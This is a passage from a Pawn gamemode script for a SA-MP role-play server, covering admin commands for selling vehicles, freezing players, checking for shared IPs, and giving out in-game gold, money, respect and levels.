					vInfo[v][cLocationy] = 0.0;
					SaveKonFloatV(v, "cLocationy", 0);
					vInfo[v][cLocationz] = 0.0;
					SaveKonFloatV(v, "cLocationz", 0);
					vInfo[v][cAngle] = 0.0;
					SaveKonFloatV(v, "cAngle", 0);
					vInfo[v][cColor1] = 9999;
					SaveKonValV(v, "cColor1", 9999);
					vInfo[v][cColor2] = 9999;
					SaveKonValV(v, "cColor2", 9999);
					vInfo[v][cModel] = 0;
					SaveKonValV(v, "cModel", 0);
					vInfo[v][cPrice] = 0;
					SaveKonValV(v, "cPrice", 0);
					strmid(vInfo[v][cPlate], "New Veh", 0, strlen("New Veh"), 255);
					SaveKonStrV(v, "cPlate", vInfo[v][cPlate]);
					vInfo[v][cLock] = 0;
					SaveKonValV(v, "cLock", 0);
					vInfo[v][cDestroyed] = 0;
					SaveKonValV(v, "cDestroyed", 0);
					vInfo[v][cFixed] = 0;
					SaveKonValV(v, "cFixed", 0);
					vInfo[v][cInsurance] = 0;
					SaveKonValV(v, "cInsurance", 0);
					vInfo[v][cFuel] = 0;
					SaveKonValV(v, "cFuel", 0);
					vInfo[v][cHealth] = 0.0;
					SaveKonFloatV(v, "cHealth", 0);
					vInfo[v][gLocationX] = 0;
					SaveKonFloatV(v, "gLocationX", 0);
					vInfo[v][gLocationY] = 0;
					SaveKonFloatV(v, "gLocationY", 0);
					vInfo[v][gLocationZ] = 0;
					SaveKonFloatV(v, "gLocationZ", 0);
					vInfo[v][gAngle] = 0;
					SaveKonFloatV(v, "gAngle", 0);
					vInfo[v][gParked] = 0;
					SaveKonValV(v, "gParked", 0);
					vInfo[v][cMod1] = 0;
					SaveKonValV(v, "cMod1", 0);
					vInfo[v][cMod3] = 0;
					SaveKonValV(v, "cMod3", 0);
					vInfo[v][cMod4] = 0;
					SaveKonValV(v, "cMod4", 0);
					vInfo[v][cMod5] = 0;
					SaveKonValV(v, "cMod5", 0);
					vInfo[v][cMod6] = 0;
					SaveKonValV(v, "cMod6", 0);
					vInfo[v][cMod7] = 0;
					SaveKonValV(v, "cMod7", 0);
					vInfo[v][cMod8] = 0;
					SaveKonValV(v, "cMod8", 0);
					vInfo[v][cMod9] = 0;
					SaveKonValV(v, "cMod9", 0);
					vInfo[v][cMod10] = 0;
					SaveKonValV(v, "cMod10", 0);
					vInfo[v][cMod11] = 0;
					SaveKonValV(v, "cMod11", 0);
					vInfo[v][cMod12] = 0;
					SaveKonValV(v, "cMod12", 0);
					vInfo[v][cMod13] = 0;
					SaveKonValV(v, "cMod13", 0);
					vInfo[v][cMod14] = 0;
					SaveKonValV(v, "cMod14", 0);
					vInfo[v][cMod15] = 0;
					SaveKonValV(v, "cMod15", 0);
					vInfo[v][cMod16] = 0;
					SaveKonValV(v, "cMod16", 0);
					vInfo[v][cMod17] = 0;
					SaveKonValV(v, "cMod17", 0);
					vInfo[v][cPaintJob] = 3;
					SaveKonValV(v, "cPaintJob", 3);
					vInfo[v][cKilo] = 0.0;
					SaveKonFloatV(v, "cKilo", 0);
					vInfo[v][cPanel] = 0;
					SaveKonValV(v, "cPanel", 0);
					vInfo[v][cDoors] = 0;
					SaveKonValV(v, "cDoors", 0);
					vInfo[v][cLights] = 0;
					SaveKonValV(v, "cLights", 0);
					vInfo[v][cTires] = 0;
					SaveKonValV(v, "cTires", 0);
					ved = GetVehicleModel(cid);
					format(string, sizeof(string), "{FFFFFF}Admin %s sold %s's %s.",PINFO[owner][pName],aVehicleNames[ved]);
					AdminWarn(string);

					format(string, sizeof(string), "WARNING: Admin %s sold your %s.",PINFO[playerid][pName],aVehicleNames[ved]);
					SendClientMessage(owner,COLOR_SINA3,string);

					PINFO[owner][pCar_4] = 0;
					PINFO[owner][pVeh4] = 0;

					SaveKonVal(owner, "pVeh4", 0);
					SaveKonVal(owner, "pCar_4", 0);

					MashinOwner[cid] = 9999;
					OwnedMashin[cid] = 0;
					DestroyVehicle(cid, false);

					return 1;

					}
					else if(veh == PINFO[owner][pCar_5]) {

					v = PlayerInfo[owner][pVeh5];
					cid = PlayerInfo[owner][pCar_5];



					vInfo[v][cLocationx] = 0.0;
					SaveKonFloatV(v, "cLocationx", 0);
					vInfo[v][cLocationy] = 0.0;
					SaveKonFloatV(v, "cLocationy", 0);
					vInfo[v][cLocationz] = 0.0;
					SaveKonFloatV(v, "cLocationz", 0);
					vInfo[v][cAngle] = 0.0;
					SaveKonFloatV(v, "cAngle", 0);
					vInfo[v][cColor1] = 9999;
					SaveKonValV(v, "cColor1", 9999);
					vInfo[v][cColor2] = 9999;
					SaveKonValV(v, "cColor2", 9999);
					vInfo[v][cModel] = 0;
					SaveKonValV(v, "cModel", 0);
					vInfo[v][cPrice] = 0;
					SaveKonValV(v, "cPrice", 0);
					strmid(vInfo[v][cPlate], "New Veh", 0, strlen("New Veh"), 255);
					SaveKonStrV(v, "cPlate", vInfo[v][cPlate]);
					vInfo[v][cLock] = 0;
					SaveKonValV(v, "cLock", 0);
					vInfo[v][cDestroyed] = 0;
					SaveKonValV(v, "cDestroyed", 0);
					vInfo[v][cFixed] = 0;
					SaveKonValV(v, "cFixed", 0);
					vInfo[v][cInsurance] = 0;
					SaveKonValV(v, "cInsurance", 0);
					vInfo[v][cFuel] = 0;
					SaveKonValV(v, "cFuel", 0);
					vInfo[v][cHealth] = 0.0;
					SaveKonFloatV(v, "cHealth", 0);
					vInfo[v][gLocationX] = 0;
					SaveKonFloatV(v, "gLocationX", 0);
					vInfo[v][gLocationY] = 0;
					SaveKonFloatV(v, "gLocationY", 0);
					vInfo[v][gLocationZ] = 0;
					SaveKonFloatV(v, "gLocationZ", 0);
					vInfo[v][gAngle] = 0;
					SaveKonFloatV(v, "gAngle", 0);
					vInfo[v][gParked] = 0;
					SaveKonValV(v, "gParked", 0);
					vInfo[v][cMod1] = 0;
					SaveKonValV(v, "cMod1", 0);
					vInfo[v][cMod3] = 0;
					SaveKonValV(v, "cMod3", 0);
					vInfo[v][cMod4] = 0;
					SaveKonValV(v, "cMod4", 0);
					vInfo[v][cMod5] = 0;
					SaveKonValV(v, "cMod5", 0);
					vInfo[v][cMod6] = 0;
					SaveKonValV(v, "cMod6", 0);
					vInfo[v][cMod7] = 0;
					SaveKonValV(v, "cMod7", 0);
					vInfo[v][cMod8] = 0;
					SaveKonValV(v, "cMod8", 0);
					vInfo[v][cMod9] = 0;
					SaveKonValV(v, "cMod9", 0);
					vInfo[v][cMod10] = 0;
					SaveKonValV(v, "cMod10", 0);
					vInfo[v][cMod11] = 0;
					SaveKonValV(v, "cMod11", 0);
					vInfo[v][cMod12] = 0;
					SaveKonValV(v, "cMod12", 0);
					vInfo[v][cMod13] = 0;
					SaveKonValV(v, "cMod13", 0);
					vInfo[v][cMod14] = 0;
					SaveKonValV(v, "cMod14", 0);
					vInfo[v][cMod15] = 0;
					SaveKonValV(v, "cMod15", 0);
					vInfo[v][cMod16] = 0;
					SaveKonValV(v, "cMod16", 0);
					vInfo[v][cMod17] = 0;
					SaveKonValV(v, "cMod17", 0);
					vInfo[v][cPaintJob] = 3;
					SaveKonValV(v, "cPaintJob", 3);
					vInfo[v][cKilo] = 0.0;
					SaveKonFloatV(v, "cKilo", 0);
					vInfo[v][cPanel] = 0;
					SaveKonValV(v, "cPanel", 0);
					vInfo[v][cDoors] = 0;
					SaveKonValV(v, "cDoors", 0);
					vInfo[v][cLights] = 0;
					SaveKonValV(v, "cLights", 0);
					vInfo[v][cTires] = 0;
					SaveKonValV(v, "cTires", 0);
					ved = GetVehicleModel(cid);
					format(string, sizeof(string), "{FFFFFF}Admin %s sold %s's %s.",PINFO[owner][pName],aVehicleNames[ved]);
					AdminWarn(string);

					format(string, sizeof(string), "WARNING: Admin %s sold your %s.",PINFO[playerid][pName],aVehicleNames[ved]);
					SendClientMessage(owner,COLOR_SINA3,string);

					PINFO[owner][pCar_5] = 0;
					PINFO[owner][pVeh5] = 0;

					SaveKonVal(owner, "pVeh5", 0);
					SaveKonVal(owner, "pCar_5", 0);

					MashinOwner[cid] = 9999;
					OwnedMashin[cid] = 0;
					DestroyVehicle(cid, false);

					return 1;

					}
					else if(veh == PINFO[owner][pCar_6]) {

					v = PlayerInfo[owner][pVeh6];
					cid = PlayerInfo[owner][pCar_6];



					vInfo[v][cLocationx] = 0.0;
					SaveKonFloatV(v, "cLocationx", 0);
					vInfo[v][cLocationy] = 0.0;
					SaveKonFloatV(v, "cLocationy", 0);
					vInfo[v][cLocationz] = 0.0;
					SaveKonFloatV(v, "cLocationz", 0);
					vInfo[v][cAngle] = 0.0;
					SaveKonFloatV(v, "cAngle", 0);
					vInfo[v][cColor1] = 9999;
					SaveKonValV(v, "cColor1", 9999);
					vInfo[v][cColor2] = 9999;
					SaveKonValV(v, "cColor2", 9999);
					vInfo[v][cModel] = 0;
					SaveKonValV(v, "cModel", 0);
					vInfo[v][cPrice] = 0;
					SaveKonValV(v, "cPrice", 0);
					strmid(vInfo[v][cPlate], "New Veh", 0, strlen("New Veh"), 255);
					SaveKonStrV(v, "cPlate", vInfo[v][cPlate]);
					vInfo[v][cLock] = 0;
					SaveKonValV(v, "cLock", 0);
					vInfo[v][cDestroyed] = 0;
					SaveKonValV(v, "cDestroyed", 0);
					vInfo[v][cFixed] = 0;
					SaveKonValV(v, "cFixed", 0);
					vInfo[v][cInsurance] = 0;
					SaveKonValV(v, "cInsurance", 0);
					vInfo[v][cFuel] = 0;
					SaveKonValV(v, "cFuel", 0);
					vInfo[v][cHealth] = 0.0;
					SaveKonFloatV(v, "cHealth", 0);
					vInfo[v][gLocationX] = 0;
					SaveKonFloatV(v, "gLocationX", 0);
					vInfo[v][gLocationY] = 0;
					SaveKonFloatV(v, "gLocationY", 0);
					vInfo[v][gLocationZ] = 0;
					SaveKonFloatV(v, "gLocationZ", 0);
					vInfo[v][gAngle] = 0;
					SaveKonFloatV(v, "gAngle", 0);
					vInfo[v][gParked] = 0;
					SaveKonValV(v, "gParked", 0);
					vInfo[v][cMod1] = 0;
					SaveKonValV(v, "cMod1", 0);
					vInfo[v][cMod3] = 0;
					SaveKonValV(v, "cMod3", 0);
					vInfo[v][cMod4] = 0;
					SaveKonValV(v, "cMod4", 0);
					vInfo[v][cMod5] = 0;
					SaveKonValV(v, "cMod5", 0);
					vInfo[v][cMod6] = 0;
					SaveKonValV(v, "cMod6", 0);
					vInfo[v][cMod7] = 0;
					SaveKonValV(v, "cMod7", 0);
					vInfo[v][cMod8] = 0;
					SaveKonValV(v, "cMod8", 0);
					vInfo[v][cMod9] = 0;
					SaveKonValV(v, "cMod9", 0);
					vInfo[v][cMod10] = 0;
					SaveKonValV(v, "cMod10", 0);
					vInfo[v][cMod11] = 0;
					SaveKonValV(v, "cMod11", 0);
					vInfo[v][cMod12] = 0;
					SaveKonValV(v, "cMod12", 0);
					vInfo[v][cMod13] = 0;
					SaveKonValV(v, "cMod13", 0);
					vInfo[v][cMod14] = 0;
					SaveKonValV(v, "cMod14", 0);
					vInfo[v][cMod15] = 0;
					SaveKonValV(v, "cMod15", 0);
					vInfo[v][cMod16] = 0;
					SaveKonValV(v, "cMod16", 0);
					vInfo[v][cMod17] = 0;
					SaveKonValV(v, "cMod17", 0);
					vInfo[v][cPaintJob] = 3;
					SaveKonValV(v, "cPaintJob", 3);
					vInfo[v][cKilo] = 0.0;
					SaveKonFloatV(v, "cKilo", 0);
					vInfo[v][cPanel] = 0;
					SaveKonValV(v, "cPanel", 0);
					vInfo[v][cDoors] = 0;
					SaveKonValV(v, "cDoors", 0);
					vInfo[v][cLights] = 0;
					SaveKonValV(v, "cLights", 0);
					vInfo[v][cTires] = 0;
					SaveKonValV(v, "cTires", 0);
					ved = GetVehicleModel(cid);
					format(string, sizeof(string), "{FFFFFF}Admin %s sold %s's %s.",PINFO[owner][pName],aVehicleNames[ved]);
					AdminWarn(string);

					format(string, sizeof(string), "WARNING: Admin %s sold your %s.",PINFO[playerid][pName],aVehicleNames[ved]);
					SendClientMessage(owner,COLOR_SINA3,string);

					PINFO[owner][pCar_6] = 0;
					PINFO[owner][pVeh6] = 0;

					SaveKonVal(owner, "pVeh6", 0);
					SaveKonVal(owner, "pCar_6", 0);

					MashinOwner[cid] = 9999;
					OwnedMashin[cid] = 0;
					DestroyVehicle(cid, false);

					return 1;

					}
				}
				else
				{
					SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
					return 1;
				}
			}
			return 1;
		}
/*
	if(!strcmp(cmd, "/skate", true)) {
		if(PlayerInfo[playerid][pPremiumAccount] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't premium account.");
		ShowPlayerDialog(playerid,9968,DIALOG_STYLE_LIST,"Skate Panel","Get Board\nRemove Board","Select","Cancel");
	   return 1;
	}
	*/
	//
	if(!strcmp(cmd, "/freezeall", true))
	{
	   if(PINFO[playerid][pAdmin] < 3 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   tmp = strtok(cmdtext, idx);
	   if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /freezeall <Distance(FLOAT)>");
	   new Float:dis = floatstr(tmp);
	   if(dis > 0.0)
	   {
		  new lolstr[150];
		  format(lolstr, 150, "Admin %s has frozen all players.", PINFO[playerid][pName]);
		  for(new i = 0;i<Akharish;i++)
		  {
			 if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && i != playerid && PINFO[i][pAdmin] < 1)
			 {
				if(ProxDetectorS(dis, playerid, i))
				{
					TogglePlayerControllable(i, 0);
					SCM(i, COLOR_LIGHTRED, lolstr);
			OnFreeze[i] = 1;
				}
			 }
		  }
		  format(lolstr, 150, "{FFFFFF}%s has frozen all players in %.2f distance", PINFO[playerid][pName], dis);
		  AdminWarn(lolstr);
	   }
	   else return SCM(playerid, COLOR_SINA3, "Invalid Distance amount.");
	   return 1;
	}
	if(!strcmp(cmd,"/detcon",true))
	{
		if(PlayerInfo[playerid][pHelper]<1&&PlayerInfo[playerid][pAdmin]<1)return SCM(playerid,COLOR_YELLOW2,"Error: You are not a helper or an admin.");
		tmp = strtok(cmdtext, idx);
		if(isnull(tmp))return SCM(playerid,COL_SYN,"Syntax: /detcon <PlayerID/PartOfName>");
		new id=ReturnUser6(tmp);
		if(!IsPlayerConnected(id)) return SCM(playerid,COLOR_YELLOW2,"Error: That player is not connected.");
		new ip[16],ip2[16],str[32],count=0;
		GetPlayerIp(id,ip,sizeof(ip));
		for(new i=GetPlayerPoolSize();i!=-1;--i)
		{
			if(!IsPlayerConnected(i))continue;
			if(FCNPC_IsValid(i))continue;
			if(i==id)continue;
			GetPlayerIp(i,ip2,sizeof(ip2));
			if(!strcmp(ip,ip2,true))
			{
				format(str,sizeof(str),"Name: %s(%i)",PlayerInfo[i][pName],i);
				SCM(playerid,COLOR_SINARANG,str);
				count++;
			}
		}
		if(count==0)return SCM(playerid,COLOR_YELLOW2,"Total multies: 0.");
		format(str,sizeof(str),"Total multies: %i.",count);
		SCM(playerid,COLOR_YELLOW2,str);
		return 1;
	}
	/*
	if(!strcmp(cmd, "/efreezeall", true))
	{
	   if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
	   tmp = strtok(cmdtext, idx);
	   if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /efreezeall <Distance(FLOAT)>");
	   new Float:dis = floatstr(tmp);
	   if(dis > 0.0)
	   {
		  new lolstr[2048];
		  new lolstr1[2048];
			format(lolstr, 2048, "Event organizer %s frozen all event players.", PINFO[playerid][pName]);
		  SendClientMessageToAll(COLOR_SINARANG, lolstr);
		  for(new i = 0;i<Akharish;i++)
		  {
			 if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && i != playerid && PINFO[i][pAdmin] < 1)
			 {
					if(EventPlayer[i] == 1)
					{
				if(ProxDetectorS(dis, playerid, i))
				{
					TogglePlayerControllable(i, 0);
					//SCM(i, COLOR_LIGHTRED, lolstr);
					  OnFreeze[i] = 1;
					  }
				}
			 }
		  }
		  format(lolstr1, 150, "{FFFFFF}Event-Organizer %s has been frozen all players in %.2f distance", PINFO[playerid][pName], dis);
		  AdminWarn(lolstr1);
	   }
	   else return SCM(playerid, COLOR_SINA3, "Invalid Distance amount.");
	   return 1;
	}*/
	/*
		 if (strcmp("/joinbb22", cmdtext, true, 6) == 0)
	   {
				if(IsPlayerInAnyVehicle(playerid)) return SCM(playerid, COLOR_LIGHTRED, "Error: You are in vehicle.")
				if(InBasket[playerid] == 1) return SCM(playerid, COLOR_LIGHTRED, "Error: You already were in basketball.")
				if(PlayerToPoint(5.0, playerid, 2766.160156,-2006.906494,13.554687)) {
			 if(BasketBallSv == 0) {
				if(BasketPlayers == 0) {
				SetTimer("BasketStart",120000,false);
				}
				BasketPlayers += 1;
				SCM(playerid, COLOR_LIGHTRED, "You joined to basketball play , please wait for less 2 minutes to join other players.");
				new name[128];
				GetPlayerName(playerid, name, sizeof(name));
				new string[512];
				format(string, sizeof(string), "%s joined to basketball play , now players : %d", name, BasketPlayers);
				SendClientMessageToAll(COLOR_BLUE, string);
				TogglePlayerControllable(playerid, 0);
				InBasket[playerid] = 1;
				BasketScore[playerid] = 0;
				}
				else if(BasketBallSv == 1) {
				SCM(playerid, COLOR_LIGHTRED, "Error: You cant join to basketball because it is started.");
				}
				}
			 return 1;
	   }
	   */
	   /*
	if(!strcmp(cmd, "/topsprays", true))
	{
	if(PlayerInfo[playerid][pClan] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You are not in a clan.");

	BeguTSS(playerid);

	return 1;
	}
	*/
	if(!strcmp(cmd, "/unfreezeall", true))
	{
	   if(PINFO[playerid][pAdmin] < 2 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   tmp = strtok(cmdtext, idx);
	   if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /unfreezeall <Distance(FLOAT)>");
	   new Float:dis = floatstr(tmp);
	   if(dis > 0.0)
	   {
		  new lolstr[150];
		  format(lolstr, 150, "Admin %s has unfrozen all players.", PINFO[playerid][pName]);
		  for(new i = 0;i<Akharish;i++)
		  {
			 if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && i != playerid && PINFO[i][pAdmin] < 1)
			 {
				if(ProxDetectorS(dis, playerid, i))
				{
					TogglePlayerControllable(i, 1);
					SCM(i, COLOR_LIGHTRED, lolstr);
			OnFreeze[i] = 0;
				}
			 }
		  }
		  format(lolstr, 150, "{FFFFFF}%s has unfrozen all players in %.2f distance", PINFO[playerid][pName], dis);
		  AdminWarn(lolstr);
	   }
	   else return SCM(playerid, COLOR_SINA3, "Invalid Distance amount.");
	   return 1;
	}
	/*
	if(!strcmp(cmd, "/eunfreezeall", true))
	{
	   if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
	   tmp = strtok(cmdtext, idx);
	   if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /EUnFreezeAll <Distance(FLOAT)>");
	   new Float:dis = floatstr(tmp);
	   if(dis > 0.0)
	   {
		  new lolstr[2048];
		  new lolstr1[2048];
			format(lolstr, 1024, "Event organizer %s unfrozen all event players.", PINFO[playerid][pName]);
		  SendClientMessageToAll(COLOR_YELLOW, lolstr);
		  for(new i = 0;i<Akharish;i++)
		  {
			 if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && i != playerid && PINFO[i][pAdmin] < 1)
			 {
			 if(EventPlayer[i] == 1)
			 {
				if(ProxDetectorS(dis, playerid, i))
				{
					TogglePlayerControllable(i, 1);
					//SCM(i, COLOR_LIGHTRED, lolstr);
			OnFreeze[i] = 0;
					 }
				}
			 }
		  }
		  format(lolstr1, 2048, "{FFFFFF}Event-Organizer %s has been unfrozen all players in %.2f distance", PINFO[playerid][pName], dis);
		  AdminWarn(lolstr1);
	   }
	   else return SCM(playerid, COLOR_SINA3, "Invalid Distance amount.");
	   return 1;
	}*/

if(!strcmp(cmd, "/goldforall", true))
	{
	   if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
	   tmp = strtok(cmdtext, idx);
	   if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /GoldForAll <Amount>");
	   new rpam = strval(tmp);
	   if(rpam > 0)
	   {
		  new lolstr[200];
		  format(lolstr, 200, "Admin %s has given %i gold to all online players.", PINFO[playerid][pName], rpam);
		  for(new i = 0;i < Akharish;i++)
		  {
			 if(IsPlayerConnected(i) && gPlayerLogged[i] != 0)
			 {
				PINFO[i][pGold] += rpam;
				SaveKonVal(i, "pGold", PINFO[i][pGold]);
			 }
		  }
		  SendClientMessageToAll(COLOR_LIGHTRED, lolstr);
	   }
	   else return SCM(playerid, COLOR_RED, "Invalid Gold Value.");
	   return 1;
	}
	if(!strcmp(cmd, "/respectforall", true))
	{
	   if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
	   tmp = strtok(cmdtext, idx);
	   if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /respectforall <Amount>");
	   new rpam = strval(tmp);
	   if(rpam > 0)
	   {
		  new lolstr[200];
		  format(lolstr, 200, "Admin %s has given %i respect points to all online players.", PINFO[playerid][pName], rpam);
		  for(new i = 0;i < Akharish;i++)
		  {
			 if(IsPlayerConnected(i) && gPlayerLogged[i] != 0)
			 {
				PINFO[i][pExp] += rpam;
				SaveKonVal(i, "pExp", PINFO[i][pExp]);
			 }
		  }
		  SendClientMessageToAll(COLOR_LIGHTRED, lolstr);
	   }
	   else return SCM(playerid, COLOR_SINA3, "Invalid Respect point.");
	   return 1;
	}
	if(strcmp(cmd, "/stopmlr", true) == 0) {
	if(IsPlayerConnected(playerid)) {
	if(PlayerInfo[playerid][pAdmin] <= 11)
	 {
	  SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
	 return 1;
	 }
   if(MLR == 0) return SCM(playerid, COLOR_YELLOW2, "Error: MLR system already disabled.");
	GetPlayerName(playerid, sendername, sizeof(sendername));
	new str[512];
	format(str, sizeof(str), "{FFFFFF}Admin %s disabled MLR system.", sendername);
	AdminWarn(str);
	MLR = 0;
	MMLR = 0;
	RMLR = 0;
	LMLR = 0;
	PMLR = 0;
	}

	return 1;
	}
	if(strcmp(cmd, "/mlr", true) == 0)
	{
	 if(PlayerInfo[playerid][pAdmin] <= 11)
	 {
	  SCM(playerid,COLOR_SINA3,"Error: Your admin level isn't high enough to use this command.");
	 return 1;
	 }
	  if(MLR == 1) return SCM(playerid, COLOR_YELLOW2, "Error: MLR system already enabled. use /stopmlr");
	 new Money;
	 new Level;
	 new Respect;
	  new Players;
	 tmp = strtok(cmdtext, idx);
	 if(!strlen(tmp))
	 {
	 SCM(playerid,COL_SYN,"Syntax: /mlr <Money> <Level> <Respect> <Players>");
	 return 1;
	 }
	 Money = strval(tmp);
	 tmp = strtok(cmdtext, idx);
	 if(!strlen(tmp))
	 {
	 SCM(playerid,COL_SYN,"Syntax: /mlr <Money> <Level> <Respect> <Players>");
	 return 1;
	 }
	 Level = strval(tmp);
	 tmp = strtok(cmdtext, idx);
	 if(!strlen(tmp))
	 {
	SCM(playerid,COL_SYN,"Syntax: /mlr <Money> <Level> <Respect> <Players>");
	 return 1;
	 }
	Respect = strval(tmp);
	tmp = strtok(cmdtext, idx);
	if(!strlen(tmp))
	{
	SCM(playerid,COL_SYN,"Syntax: /mlr <Money> <Level> <Respect> <Players>");
	 return 1;
	}
			Players = strval(tmp);
			if(Players < 0) return SCM(playerid, COLOR_RED, "invalid value");
			if(Money < 0) return SCM(playerid, COLOR_RED, "invalid value");
			if(Level < 0) return SCM(playerid, COLOR_RED, "invalid value");
			if(Respect < 0) return SCM(playerid, COLOR_RED, "invalid value");
		  new lolstr[200];
		  format(lolstr, 200, "When the server reaches %d players, you will receive $%s and %d Respect Points and %d Level.", Players, FormatNumber(Money), Respect, Level);
		  SendClientMessageToAll(COLOR_LIGHTBLUE, lolstr);
			MLR = 1;
			MMLR = Money;
			RMLR = Respect;
			LMLR = Level;
			PMLR = Players;
			SetTimer("CheckPlayers", 2000, 0);
			SetTimer("MLRM", 400000, 0);
			GetPlayerName(playerid, sendername, sizeof(sendername));
			new str[512];
			format(str, sizeof(str), "{FFFFFF}Admin %s enabled MLR system.", sendername);
			AdminWarn(str);
			return 1;
	 }

	if(strcmp(cmd, "/moneyall", true) == 0)
	{
	 if(PlayerInfo[playerid][pAdmin] <= 11)
	 {
	  SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
	 return 1;
	 }
	 new Min;
	 new Max;
	 new Value;
	 tmp = strtok(cmdtext, idx);
	 if(!strlen(tmp))
	 {
	 SCM(playerid,COL_SYN,"Syntax: /moneyall <Min> <Max> <Value>");
	 return 1;
	 }
	 Min = strval(tmp);
	 tmp = strtok(cmdtext, idx);
	 if(!strlen(tmp))
	 {
	 SCM(playerid,COL_SYN,"Syntax: /moneyall <Min> <Max> <Value>");
	 return 1;
	 }
	 Max = strval(tmp);
	 tmp = strtok(cmdtext, idx);
	 if(!strlen(tmp))
	 {
	 SCM(playerid,COL_SYN,"Syntax: /moneyall <Min> <Max> <Value>");
	 return 1;
	 }
			Value = strval(tmp);
			if(Value < 0) return SCM(playerid, COLOR_RED, "invalid value");
		  new lolstr[200];
		  format(lolstr, 200, "Admin %s has given $%s to all online players (Lvl %d-%d).", PINFO[playerid][pName], FormatNumber(Value), Min, Max);
		  for(new i = 0;i < Akharish;i++)
		  {
			 if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && PlayerInfo[i][pLevel] >= Min && PlayerInfo[i][pLevel] <= Max)
			 {
				GivePlayerPool(i, Value);
			 }
		  }
		  SendClientMessageToAll(COLOR_LIGHTRED, lolstr);
	 return 1;
	 }
	if(strcmp(cmd, "/respectall", true) == 0)
	{
	 if(PlayerInfo[playerid][pAdmin] <= 11)
	 {
	  SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
	 return 1;
	 }
	 new Min;
	 new Max;
	 new Value;
	 tmp = strtok(cmdtext, idx);
	 if(!strlen(tmp))
	 {
	 SCM(playerid,COL_SYN,"Syntax: /respectall <Min> <Max> <Value>");
	 return 1;
	 }
	 Min = strval(tmp);
	 tmp = strtok(cmdtext, idx);
	 if(!strlen(tmp))
	 {
	 SCM(playerid,COL_SYN,"Syntax: /respectall <Min> <Max> <Value>");
	 return 1;
	 }
	 Max = strval(tmp);
	 tmp = strtok(cmdtext, idx);
	 if(!strlen(tmp))
	 {
	 SCM(playerid,COL_SYN,"Syntax: /respectall <Min> <Max> <Value>");
	 return 1;
	 }
			Value = strval(tmp);
			if(Value < 0) return SCM(playerid, COLOR_RED, "invalid value");
		  new lolstr[200];
		  format(lolstr, 200, "Admin %s has given %i respect points to all online players (Lvl %d-%d).", PINFO[playerid][pName], Value, Min, Max);
		  for(new i = 0;i < Akharish;i++)
		  {
			 if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && PlayerInfo[i][pLevel] >= Min && PlayerInfo[i][pLevel] <= Max)
			 {
				PINFO[i][pExp] += Value;
				SaveKonVal(i, "pExp", PINFO[i][pExp]);
			 }
		  }
		  SendClientMessageToAll(COLOR_LIGHTRED, lolstr);
	 return 1;
	 }
	  if(strcmp(cmd, "/levelall", true) == 0)
	{
	 if(PlayerInfo[playerid][pAdmin] <= 11)
	 {
	 SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
	 return 1;
	 }
	 new Min;
	 new Max;
	 new Value;
	 tmp = strtok(cmdtext, idx);
	 if(!strlen(tmp))
	 {
	 SCM(playerid,COL_SYN,"Syntax: /levelall <Min> <Max> <Value>");
	 return 1;
	 }
	 Min = strval(tmp);
	 tmp = strtok(cmdtext, idx);
	 if(!strlen(tmp))
	 {
	 SCM(playerid,COL_SYN,"Syntax: /levelall <Min> <Max> <Value>");
	 return 1;
	 }
	 Max = strval(tmp);
	 tmp = strtok(cmdtext, idx);
	 if(!strlen(tmp))
	 {
	 SCM(playerid,COL_SYN,"Syntax: /levelall <Min> <Max> <Value>");
	 return 1;
	 }
			Value = strval(tmp);
			if(Value < 0) return SCM(playerid, COLOR_RED, "invalid value");
		  new lolstr[200];
		  format(lolstr, 200, "Admin %s has given %i level(s) to all online players (Lvl %d-%d).", PINFO[playerid][pName], Value, Min, Max);
		  for(new i = 0;i < Akharish;i++)
		  {
			 if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && PlayerInfo[i][pLevel] >= Min && PlayerInfo[i][pLevel] <= Max)
			 {
				PINFO[i][pLevel] += Value;
				SaveKonVal(i, "pLevel", PINFO[i][pLevel]);
				SetPlayerScore(i,PlayerInfo[i][pLevel]);
			 }
		  }
		  SendClientMessageToAll(COLOR_LIGHTRED, lolstr);
	 return 1;
	 }
	if(!strcmp(cmd, "/moneyforall", true))
	{
	   if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
	   new lola[150];
